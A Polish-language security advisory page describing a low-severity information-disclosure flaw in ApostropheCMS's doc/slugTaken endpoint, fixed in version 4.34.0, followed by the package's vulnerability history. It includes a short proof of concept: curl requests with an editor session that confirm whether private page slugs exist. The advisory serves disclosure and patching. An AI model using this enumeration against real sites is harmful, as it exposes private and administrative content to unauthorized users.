Średnia

ApostropheCMS: Ujawnienie istnienia prywatnych i administracyjnych treści przez punkt końcowy doc/slugTaken

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 10:00

Podsumowanie

Punkt końcowy slugTaken zwraca wartość logiczną wskazującą, czy dany slug jest używany we wszystkich typach dokumentów i na wszystkich poziomach widoczności, bez filtrowania według uprawnień lub typu. Każdy zalogowany użytkownik (w tym edytorzy) może dokonać enumeracji slugów prywatnych stron, wersji roboczych oraz zarchiwizowanych treści.

Szczegóły

Wywołanie POST /api/v1/@apostrophecms/doc/slugTaken z treścią { "slug": "target-slug" } wykonuje bezpośrednie sprawdzenie istnienia w kolekcji dokumentów. Mechanizm ten nie:

  • Sprawdza, czy żądający użytkownik posiada uprawnienia do odczytu dokumentów danego typu.
  • Filtruje według visibility (public, loginRequired, private).
  • Filtruje według viewRole.
  • Filtruje według statusu publikacji (wersja robocza a opublikowana).

Pojedyncza uwierzytelniona sesja pozwala iterować po przestrzeni slugów w celu skatalogowania całej zawartości CMS, w tym treści, do których przeglądania użytkownik nie ma uprawnień.

PoC

bash
# Any authenticated session works — editor role sufficient
curl -b "$EDITOR_JAR" -X POST \
  -H "Content-Type: application/json" \
  -d '{"slug":"known-private-page-slug"}' \
  "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": true }  — confirms private page exists

curl -b "$EDITOR_JAR" -X POST \
  -H "Content-Type: application/json" \
  -d '{"slug":"zzz-nonexistent"}' \
  "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }

Wpływ

Ujawnienie informacji. Osoba atakująca z dowolną uwierzytelnioną sesją może wyliczyć wszystkie slugi w systemie, odtwarzając pełną strukturę zawartości CMS, w tym treści prywatne oraz dostępne wyłącznie dla administratorów.

Co trzeba zrobić

Zaktualizuj ApostropheCMS do wersji 4.34.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm apostrophe < 4.34.0 4.34.0

Odnośniki

Ocena CVSS 4.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-200
Platforma
npm
Paczka
apostrophe
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-f66c-mpj2-3r8h - CC BY 4.0

Historia podatności: apostrophe

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (33) w archiwum
Wszystkich wpisów
33
Pierwsza → ostatnia
09.2020 10.2026
Bez poprawki
4
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 9
  • Średnia 18
  • Niska 4

Ujawnienia w latach

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 29
Istotność:
  1. ApostropheCMS: Ujawnienie istnienia prywatnych i administracyjnych treści przez punkt końcowy doc/slugTaken ten wpis
    Średnia · 4.3 CVE-2026-112952 < 4.34.0 4.34.0
  2. Wysoka · 7.3 CVE-2026-45011 = 4.29.0 brak poprawki
  3. Krytyczna · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.